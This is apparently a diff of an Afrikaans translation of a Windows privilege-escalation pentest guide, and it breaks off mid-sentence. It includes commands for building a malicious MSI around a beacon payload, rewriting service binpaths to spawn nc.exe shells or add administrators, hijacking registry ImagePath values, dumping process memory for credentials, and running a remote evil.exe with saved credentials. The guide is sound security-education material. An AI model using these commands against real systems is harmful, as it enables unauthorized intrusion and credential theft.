[https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**If** hierdie 2 registers is **enabled** (waarde is **0x1**), dan kan gebruikers van enige bevoegdheid `*.msi`-lêers **install** (uitvoer) as NT AUTHORITY\\**SYSTEM**. +**If** hierdie 2 registers is **enabled** (waarde is **0x1**), kan gebruikers van enige bevoegdheid `*.msi`-lêers **install** (uitvoer) as NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -227,16 +235,15 @@ As jy 'n meterpreter-sessie het, kan jy hierdie tegniek outomatiseer met die mod ### PowerUP -Gebruik die `Write-UserAddMSI` opdrag van power-up om binne die huidige gids 'n Windows MSI-binêr te skep om voorregte te eskaleer. Hierdie skrip skryf 'n vooraf-gekompileerde MSI-installeerder uit wat 'n prompt gee vir 'n gebruiker/groep toevoeging (dus sal jy GUI-toegang nodig hê): +Gebruik die `Write-UserAddMSI` opdrag van PowerUP om binne die huidige gids 'n Windows MSI-binêre te skep om privilegies te eskaleer. Hierdie script skryf 'n voorgekompileerde MSI-installer uit wat vra vir 'n gebruiker/groep toevoeging (dus sal jy GUI-toegang benodig): ``` Write-UserAddMSI ``` -Voer net die geskepte binêr uit om voorregte te verhoog. +Voer net die gegenereerde binêre uit om privileges te eskaleer. ### MSI Wrapper -Lees hierdie handleiding om te leer hoe om 'n MSI wrapper te skep met behulp van hierdie gereedskap. Let daarop dat jy 'n **.bat** lêer kan omsluit as jy **net** **command lines** wil **uitvoer** - +Lees hierdie tutorial om te leer hoe om 'n MSI wrapper te skep met hierdie tools. Neem kennis dat jy 'n "**.bat**" lêer kan wrap as jy **net** wil **uitvoer** **opdragreëls** {{#ref}} msi-wrapper.md @@ -251,44 +258,44 @@ create-msi-with-wix.md ### Skep MSI met Visual Studio -- **Genereer** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe` -- Maak **Visual Studio** oop, kies **Create a new project** en tik "installer" in die soekboks. Kies die **Setup Wizard** project en klik **Next**. +- **Genereer** met Cobalt Strike of Metasploit 'n **new Windows EXE TCP payload** in `C:\privesc\beacon.exe` +- Maak **Visual Studio** oop, kies **Create a new project** en tik "installer" in die soekkassie. Kies die **Setup Wizard** projek en klik **Next**. - Gee die projek 'n naam, soos **AlwaysPrivesc**, gebruik **`C:\privesc`** vir die ligging, kies **place solution and project in the same directory**, en klik **Create**. -- Klik aanhoudend **Next** totdat jy by stap 3 van 4 kom (choose files to include). Klik **Add** en kies die Beacon payload wat jy pas gegenereer het. Klik dan **Finish**. +- Klik aanhoudend op **Next** totdat jy by stap 3 van 4 kom (choose files to include). Klik **Add** en kies die Beacon payload wat jy so pas gegenereer het. Klik dan **Finish**. - Merk die **AlwaysPrivesc** projek in die **Solution Explorer** en in die **Properties**, verander **TargetPlatform** van **x86** na **x64**. -- Daar is ander properties wat jy kan verander, soos die **Author** en **Manufacturer** wat die geïnstalleerde app meer eg kan laat lyk. +- Daar is ander eienskappe wat jy kan verander, soos die **Author** en **Manufacturer**, wat die geïnstalleerde app meer eg kan laat voorkom. - Regsklik die projek en kies **View > Custom Actions**. - Regsklik **Install** en kies **Add Custom Action**. -- Dubbelklik op **Application Folder**, kies jou **beacon.exe** lêer en klik **OK**. Dit sal verseker dat die beacon payload uitgevoer word sodra die installer uitgevoer word. +- Dubbelklik op **Application Folder**, kies jou **beacon.exe** lêer en klik **OK**. Dit verseker dat die beacon payload uitgevoer word sodra die installer uitgevoer word. - Onder die **Custom Action Properties**, verander **Run64Bit** na **True**. -- Laastens, **bou dit**. -- As die waarskuwing `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` verskyn, maak seker jy stel die platform op x64. +- Laastens, **build** dit. +- Indien die waarskuwing `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` verskyn, maak seker jy stel die platform op x64. ### MSI Installasie -Om die **installasie** van die kwaadwillige `.msi` lêer in die **agtergrond:** +Om die **installasie** van die kwaadwillige `.msi` file in die **agtergrond** uit te voer: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -Om hierdie kwesbaarheid uit te buit kan jy gebruik maak van: _exploit/windows/local/always_install_elevated_ +Om hierdie kwesbaarheid te benut kan jy gebruik: _exploit/windows/local/always_install_elevated_ -## Antivirus en detektore +## Antivirus en Detektore -### Ouditinstellings +### Oudit-instellings -Hierdie instellings bepaal wat **aangeteken** word, dus moet jy aandag daaraan gee +Hierdie instellings bepaal wat **aangeteken** word, dus moet jy aandag skenk ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding is interessant om te weet waarheen die logs gestuur word +Windows Event Forwarding is interessant om te weet waar die logs naartoe gestuur word ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** is ontwerp vir die **bestuur van lokale Administrator-wagwoorde**, en verseker dat elke wagwoord **unik, gerandomiseer en gereeld opgedateer** word op rekenaars wat by 'n domein aangesluit is. Hierdie wagwoorde word veilig in Active Directory gestoor en kan slegs deur gebruikers geraadpleeg word aan wie voldoende permissies via ACLs toegeken is; dit laat hulle toe om lokale admin-wagwoorde te besigtig indien hulle daartoe gemagtig is. +**LAPS** is ontwerp vir die **bestuur van plaaslike Administrator-wagwoorde**, en verseker dat elke wagwoord **uniek, gerandomiseer en gereeld opgedateer** word op rekenaars wat by 'n domein aangesluit is. Hierdie wagwoorde word veilig in Active Directory gestoor en kan slegs deur gebruikers geraadpleeg word wat voldoende magtiging via ACLs ontvang het, wat hulle in staat stel om plaaslike admin-wagwoorde te besigtig indien gemagtig. {{#ref}} @@ -297,28 +304,28 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Indien dit aktief is, word onversleutelde wagwoorde in LSASS (Local Security Authority Subsystem Service) gestoor.\ -[**Meer inligting oor WDigest op hierdie bladsy**](../stealing-credentials/credentials-protections.md#wdigest). +As dit aktief is, word **plain-text wagwoorde in LSASS** (Local Security Authority Subsystem Service) gestoor.\ +[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` -### LSA Protection +### LSA-beskerming -Vanaf **Windows 8.1** het Microsoft verbeterde beskerming vir die Local Security Authority (LSA) geïntroduceer om pogings deur onbetroubare prosesse om **read its memory** of inject code te **block**, en sodoende die stelsel verder te beveilig.\ -[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). +Vanaf **Windows 8.1** het Microsoft verbeterde beskerming vir die Plaaslike Sekuriteitsowerheid (LSA) ingevoer om pogings deur onbetroubare prosesse te **blokkeer** om **sy geheue te lees** of kode te injekteer, en sodoende die stelsel verder te beveilig.\ +[**Meer inligting oor LSA-beskerming hier**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** is bekendgestel in **Windows 10**. Die doel daarvan is om die credentials wat op 'n toestel gestoor is te beskerm teen bedreigings soos pass-the-hash attacks.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** is ingevoer in **Windows 10**. Die doel daarvan is om die credentials wat op 'n toestel gestoor word, teen bedreigings soos pass-the-hash attacks te beskerm.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**Domain credentials** word geauthentiseer deur die **Local Security Authority** (LSA) en deur bedryfstelselkomponente gebruik. Wanneer 'n gebruiker se aanmelddata deur 'n geregistreerde sekuriteitspakket geauthentiseer word, word domain credentials vir die gebruiker gewoonlik vasgelê.\ -[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). +**Domain credentials** word geverifieer deur die **Local Security Authority** (LSA) en gebruik deur bedryfstelselkomponente. Wanneer 'n gebruiker se logon data deur 'n geregistreerde security package geverifieer word, word domain credentials vir die gebruiker gewoonlik opgestel.\\ +[**Meer inligting oor Cached Credentials hier**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` @@ -326,7 +333,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### Enumereer Gebruikers & Groepe -Jy moet nagaan of enige van die groepe waarvan jy deel is interessante permissions het +Jy moet nagaan of enige van die groepe waarvan jy deel uitmaak interessante toestemmings het. ```bash # CMD net users %username% #Me @@ -343,7 +350,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Bevoorregte groepe -As jy **tot 'n bevoorregte groep behoort, kan jy dalk privilegies eskaleer**. Lees oor bevoorregte groepe en hoe om hulle te misbruik om privilegies te eskaleer hier: +As jy **deel is van 'n bevoorregte groep, kan jy dalk escalate privileges**. Lees oor bevoorregte groepe en hoe om dit te misbruik om escalate privileges hier: {{#ref}} @@ -352,15 +359,15 @@ As jy **tot 'n bevoorregte groep behoort, kan jy dalk privilegies eskaleer**. Le ### Token manipulation -**Lees meer** oor wat 'n **token** is op hierdie blad: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Kyk na die volgende blad om te **leer oor interessante tokens** en hoe om hulle te misbruik: +**Leer meer** oor wat 'n **token** is op hierdie blad: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +Kyk na die volgende blad om te **leer oor interessante tokens** en hoe om dit te misbruik: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### Logged users / Sessions +### Ingelogde gebruikers / Sessies ```bash qwinsta klist sessions @@ -380,10 +387,10 @@ powershell -command "Get-Clipboard" ``` ## Lopende Prosesse -### Lêer- en gidsregte +### Lêer- en gids toestemmings -Eerstens, wanneer jy die prosesse lys, **kontroleer vir wagwoorde binne die opdragreël van die proses**.\ -Kyk of jy **oor-skryf 'n lopende binary** kan of jy skryfregte op die binary-gids het om moontlike [**DLL Hijacking attacks**](dll-hijacking/index.html) te exploit: +Eerstens, wanneer jy die prosesse lys, **kyk vir wagwoorde in die command line van die proses**.\ +Kyk of jy **'n lopende binary kan oorskryf** of jy skryfregte op die binary-gids het om moontlike [**DLL Hijacking attacks**](dll-hijacking/index.html) te benut: ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -394,9 +401,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Kyk altyd vir moontlike [**electron/cef/chromium debuggers** wat aan die gang is; jy kan dit misbruik om bevoegdhede te verhoog](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Kontroleer altyd vir moontlike [**electron/cef/chromium debuggers** wat loop, jy kan dit misbruik om bevoegdhede te eskaleer](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**Kontroleer die permissies van die proses se binaries** +**Kontroleer die toestemmings van die proses-binaries** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -405,7 +412,7 @@ icacls "%%z" ) ) ``` -**Kontroleer die toestemmings van die vouers van die binaries van prosesse (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Kontroleer die permissies van die vouers van die proses se binaries (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -415,15 +422,15 @@ todos %username%" && echo. ``` ### Memory Password mining -Jy kan 'n memory dump van 'n lopende proses skep met **procdump** van sysinternals. Dienste soos FTP het die **credentials in clear text in memory**, probeer om die memory te dump en die credentials te lees. +Jy kan 'n memory dump van 'n lopende proses skep met **procdump** van sysinternals. Dienste soos FTP bevat die **credentials in clear text in memory**; probeer om die memory te dump en lees die credentials. ```bash procdump.exe -accepteula -ma ``` ### Onveilige GUI-apps -**Toepassings wat as SYSTEM hardloop kan 'n gebruiker toelaat om 'n CMD te begin, of deur gidse te blaai.** +**Toepassings wat as SYSTEM uitgevoer word, kan 'n gebruiker toelaat om 'n CMD te begin, of deur gidse te blaai.** -Voorbeeld: "Windows Help and Support" (Windows + F1), soek vir "command prompt", klik op "Click to open Command Prompt" +Voorbeeld: "Windows Help and Support" (Windows + F1), soek na "command prompt", klik op "Click to open Command Prompt" ## Dienste @@ -436,11 +443,11 @@ Get-Service ``` ### Permissies -Jy kan **sc** gebruik om inligting te kry oor 'n diens +Jy kan **sc** gebruik om inligting oor 'n diens te kry. ```bash sc qc ``` -Dit word aanbeveel om die binêre **accesschk** van _Sysinternals_ te hê om die vereiste voorregvlak vir elke diens te kontroleer. +Dit word aanbeveel om die binaire **accesschk** van _Sysinternals_ te hê om die vereiste privilegievlak vir elke diens te kontroleer. ```bash accesschk.exe -ucqv #Check rights for different groups ``` @@ -451,29 +458,29 @@ accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` -[Jy kan accesschk.exe vir XP hier aflaai](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) ### Aktiveer diens As jy hierdie fout kry (byvoorbeeld met SSDPSRV): -_System error 1058 has occurred._\ -_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ +_Stelselfout 1058 het voorgekom._\ +_Die diens kan nie begin word nie, óf omdat dit gedeaktiveer is, óf omdat daar geen geaktiveerde toestelle daarmee geassosieer is nie._ -Jy kan dit inskakel met +Jy kan dit aktiveer met ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**Neem in ag dat die diens upnphost afhanklik is van SSDPSRV om te werk (vir XP SP1)** +**Neem in ag dat die service upnphost afhanklik is van SSDPSRV om te werk (vir XP SP1)** -**Nog 'n omseiling** van hierdie probleem is om uit te voer: +**Nog 'n workaround vir hierdie probleem is om die volgende te laat loop:** ``` sc.exe config usosvc start= auto ``` -### **Wysig die diens se binêre pad** +### **Wysig die diens se binêre uitvoerbare pad** -In die scenario waar die "Authenticated users" groep **SERVICE_ALL_ACCESS** op 'n diens het, is dit moontlik om die diens se uitvoerbare binêre lêer te wysig. Om dit te wysig en **sc** uit te voer: +In die scenario waar die "Authenticated users" groep **SERVICE_ALL_ACCESS** op 'n diens besit, is dit moontlik om die diens se uitvoerbare binêre lêer te wysig. Om te wysig en **sc** uit te voer: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -486,20 +493,20 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -Privileges can be escalated through various permissions: +Privilegies kan verhoog word deur verskeie toestemmings: -- **SERVICE_CHANGE_CONFIG**: Maak dit moontlik om die service-binary te herkonfigureer. -- **WRITE_DAC**: Maak permissie-herkonfigurasie moontlik, wat daartoe lei dat jy service-konfigurasies kan verander. -- **WRITE_OWNER**: Maak dit moontlik om eienaarskap te neem en permissies te herkonfigureer. -- **GENERIC_WRITE**: Sluit die vermoë in om service-konfigurasies te verander. -- **GENERIC_ALL**: Sluit ook die vermoë in om service-konfigurasies te verander. +- **SERVICE_CHANGE_CONFIG**: Laat herkonfigurasie van die service binary toe. +- **WRITE_DAC**: Stel toestemming-herkonfigurasie in, wat lei tot die vermoë om service-konfigurasies te verander. +- **WRITE_OWNER**: Maak eienaarskapverkryging en toestemming-herkonfigurasie moontlik. +- **GENERIC_WRITE**: Erf die vermoë om service-konfigurasies te verander. +- **GENERIC_ALL**: Erf ook die vermoë om service-konfigurasies te verander. -For the detection and exploitation of this vulnerability, the _exploit/windows/local/service_permissions_ can be utilized. +Vir die opsporing en uitbuiting van hierdie kwesbaarheid kan die _exploit/windows/local/service_permissions_ gebruik word. -### Swak permissies van service-binaries +### Swak permissies op service binaries -**Kontroleer of jy die binary wat deur 'n service uitgevoer word kan wysig** of of jy **skryfpermissies op die gids** het waar die binary geleë is ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Jy kan elke binary wat deur 'n service uitgevoer word kry met **wmic** (nie in system32 nie) en jou permissies kontroleer met **icacls**: +**Kontroleer of jy die binary wat deur 'n service uitgevoer word, kan wysig** of as jy **skryfregte op die vouer** het waar die binary geleë is ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Jy kan elke binary wat deur 'n service uitgevoer word kry met **wmic** (nie in system32 nie) en jou toestemmings nagaan met **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -511,10 +518,10 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### Dienste registry wysig permissions +### Diensregister: wysig toestemmings -Jy moet nagaan of jy enige service registry kan wysig.\ -Jy kan jou **permissions** oor 'n service **registry** **check** deur: +Jy moet nagaan of jy enige diensregister kan wysig.\ +Jy kan jou **toestemmings** oor 'n **diensregister** **nagaan** deur: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -523,32 +530,32 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Daar moet nagegaan word of **Authenticated Users** of **NT AUTHORITY\INTERACTIVE** `FullControl`-toestemmings het. Indien wel, kan die binêre wat deur die diens uitgevoer word, verander word. +Dit moet nagegaan word of **Authenticated Users** of **NT AUTHORITY\INTERACTIVE** `FullControl`-toestemmings besit. Indien wel, kan die binary wat deur die service uitgevoer word, verander word. -Om die Path van die uitgevoerde binêre te verander: +Om die Path van die uitgevoerde binary te verander: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Services registry AppendData/AddSubdirectory permissions +### Dienste-register AppendData/AddSubdirectory toestemmings -If you have this permission over a registry this means to **you can create sub registries from this one**. In case of Windows services this is **enough to execute arbitrary code:** +As jy hierdie toestemming oor 'n register het, beteken dit dat **jy sub-registrasies vanaf hierdie een kan skep**. In die geval van Windows-dienste is dit **voldoende om ewekansige kode uit te voer:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### Unquoted Service Paths +### Dienspade sonder aanhalingstekens -As die pad na 'n executable nie tussen aanhalings is nie, sal Windows probeer om elke einde voor 'n spasie uit te voer. +As die pad na 'n uitvoerbare lêer nie binne aanhalingstekens is nie, sal Windows probeer om elke deel voor 'n spasie uit te voer. -Byvoorbeeld, vir die pad _C:\Program Files\Some Folder\Service.exe_ sal Windows probeer om uit te voer: +Byvoorbeeld, vir die pad _C:\Program Files\Some Folder\Service.exe_ sal Windows probeer om die volgende uit te voer: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Lys alle dienspade sonder aanhalingstekens, uitgesluit dié wat aan ingeboude Windows-dienste behoort: +Lys alle dienspaaie sonder aanhalingstekens, uitgesluit dié wat by ingeboude Windows-dienste behoort: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -574,13 +581,13 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex ``` ### Herstelaksies -Windows laat gebruikers toe om aksies te spesifiseer wat geneem moet word as 'n diens faal. Hierdie funksie kan gekonfigureer word om na 'n binary te wys. As hierdie binary vervangbaar is, kan privilege escalation moontlik wees. Meer besonderhede is beskikbaar in die [amptelike dokumentasie](). +Windows laat gebruikers toe om aksies te spesifiseer wat geneem moet word indien 'n diens faal. Hierdie funksie kan gekonfigureer word om na 'n binary te verwys. As hierdie binary vervangbaar is, kan privilege escalation moontlik wees. Meer besonderhede is beskikbaar in die [amptelike dokumentasie](). ## Toepassings ### Geïnstalleerde toepassings -Kontroleer die **regte van die binaries** (miskien kan jy een oorskryf en privilege escalation uitvoer) en van die **vouers** ([DLL Hijacking](dll-hijacking/index.html)). +Kontroleer die **permissions of the binaries** (miskien kan jy een overwrite en escalate privileges) en die **folders** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -591,9 +598,9 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Skryfregte -Kontroleer of jy 'n konfigurasielêer kan wysig om 'n spesiale lêer te lees, of dat jy 'n binêre lêer kan wysig wat deur 'n Administrator-rekening uitgevoer gaan word (schedtasks). +Kontroleer of jy 'n konfigurasielêer kan wysig om 'n spesiale lêer te lees, of jy 'n binêre lêer kan wysig wat later deur 'n Administrator-rekening (schedtasks) uitgevoer gaan word. -Een manier om swak vouer-/lêertoestemmings in die stelsel te vind, is om die volgende te doen: +'n Manier om swak map-/lêertoestemmings in die stelsel te vind, is om te doen: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -626,15 +633,15 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac privilege-escalation-with-autorun-binaries.md {{#endref}} -### Drywers +### Drivers -Kyk vir moontlike **derdeparty vreemde/kwesbare** drywers +Soek na moontlike **derdeparty vreemde/kwetsbare** drivers ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -As 'n driver 'n arbitrêre kernel read/write primitive blootstel (algemeen in swak ontwerpte IOCTL handlers), kan jy eskaleer deur 'n SYSTEM token direk uit kernel memory te steel. Sien die stap‑vir‑stap tegniek hier: +As 'n driver 'n arbitrary kernel read/write primitive blootstel (algemeen in swak ontwerpte IOCTL handlers), kan jy escalate deur 'n SYSTEM token direk uit kernel memory te steel. Sien die stap‑vir‑stap tegniek hier: {{#ref}} arbitrary-kernel-rw-token-theft.md @@ -643,9 +650,9 @@ arbitrary-kernel-rw-token-theft.md ## PATH DLL Hijacking -As jy **write permissions inside a folder present on PATH** het, kan jy dalk 'n DLL wat deur 'n proses gelaai word onderskep en **escalate privileges**. +As jy **write permissions inside a folder present on PATH** het, kan jy moontlik 'n DLL wat deur 'n proses gelaai is hijack en **escalate privileges**. -Kontroleer die permissies van alle vouers binne PATH: +Kontroleer permissies van alle gidse in PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` @@ -658,7 +665,7 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md ## Netwerk -### Gedeelde gidse +### Gedeelde vouers ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains @@ -666,13 +673,13 @@ net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` -### hosts file +### hosts-lêer -Kontroleer vir ander bekende rekenaars wat hardgekodeer is in die hosts file +Kontroleer vir ander bekende rekenaars wat in die hosts-lêer hardgekodeer is ``` type C:\Windows\System32\drivers\etc\hosts ``` -### Netwerkinterfaces & DNS +### Netwerk-koppelvlakke & DNS ``` ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address @@ -680,11 +687,11 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Oop Poorte -Kontroleer vir **beperkte dienste** van buite af +Kyk vir **beperkte dienste** van buite ```bash netstat -ano #Opened ports? ``` -### Roetetabel +### Roeteringstabel ``` route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex @@ -707,20 +714,20 @@ C:\Windows\System32\wsl.exe ``` Die binêre `bash.exe` kan ook gevind word in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -As jy root user kry, kan jy na enige poort luister (die eerste keer wat jy `nc.exe` gebruik om na 'n poort te luister, sal dit via die GUI vra of `nc` deur die firewall toegelaat moet word). +As jy root user kry, kan jy op enige poort luister (die eerste keer wat jy `nc.exe` gebruik om op 'n poort te luister, sal dit via die GUI vra of `nc` deur die firewall toegelaat moet word). ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -Om maklik bash as root te begin, kan jy probeer `--default-user root` +Om maklik bash as root te begin, kan jy `--default-user root` probeer. Jy kan die `WSL` lêerstelsel verken in die gids `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` -## Windows Credentials +## Windows-aanmeldbewyse -### Winlogon Credentials +### Winlogon-aanmeldbewyse ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername" @@ -732,16 +739,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Inlogbewyse-bestuurder / Windows Vault +### Credentials manager / Windows vault -From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\\ -Die Windows Vault stoor gebruikers-inlogbewyse vir bedieners, webwerwe en ander programme wat **Windows** **die gebruikers outomaties kan aanmeld**. Op die oog af lyk dit asof gebruikers hul Facebook-, Twitter- en Gmail-inlogbewyse ens. kan stoor sodat hulle outomaties in blaaiers aangemeld word. Dit is egter nie so nie. +From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Die Windows Vault stoor gebruikerscredentials vir servers, webwerwe en ander programme wat **Windows** die gebruikers outomaties kan aanmeld. Op die eerste oogopslag lyk dit asof gebruikers hul Facebook credentials, Twitter credentials, Gmail credentials, ens. kan stoor sodat hulle outomaties via blaaiers aangemeld word. Maar dit is nie so nie. -Die Windows Vault stoor inlogbewyse wat Windows vir die gebruikers outomaties kan gebruik, wat beteken dat enige **Windows-toepassing wat inlogbewyse benodig om toegang tot 'n hulpbron te kry** (bediener of webwerf) **kan gebruik maak van hierdie Credential Manager** & Windows Vault en die voorsiene inlogbewyse kan gebruik in plaas daarvan dat gebruikers telkens die gebruikersnaam en wagwoord moet invoer. +Windows Vault stores credentials that Windows can log in the users automatically, which means that any **Windows application that needs credentials to access a resource** (server or a website) **can make use of this Credential Manager** & Windows Vault and use the credentials supplied instead of users entering the username and password all the time. -Tensy die toepassings met die Credential Manager interaksie het, dink ek nie dit is moontlik vir hulle om die inlogbewyse vir 'n gegewe hulpbron te gebruik nie. Dus, as jou toepassing die kluis wil gebruik, moet dit op een of ander manier **kommunikeer met die credential manager en die inlogbewyse vir daardie hulpbron opvra** vanaf die standaard bergingskluis. +Tensy die toepassings met Credential Manager interaksie het, dink ek nie dit is moontlik vir hulle om die credentials vir ’n bepaalde bron te gebruik nie. Dus, as jou toepassing die vault wil gebruik, moet dit op een of ander manier **communicate with the credential manager and request the credentials for that resource** vanaf die standaard stoor-vault. -Gebruik die `cmdkey` om die gestoorde inlogbewyse op die masjien te lys. +Gebruik die `cmdkey` om die gestoorde credentials op die masjien te lys. ```bash cmdkey /list Currently stored credentials: @@ -749,23 +756,23 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Dan kan jy `runas` met die `/savecred`-opsies gebruik om die saved credentials te gebruik. Die volgende voorbeeld roep ʼn remote binary via ʼn SMB share aan. +Dan kan jy `runas` gebruik met die `/savecred` opsies om die gestoorde kredensiale te gebruik. Die volgende voorbeeld roep 'n afgeleë binêre via 'n SMB-share aan. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Gebruik van 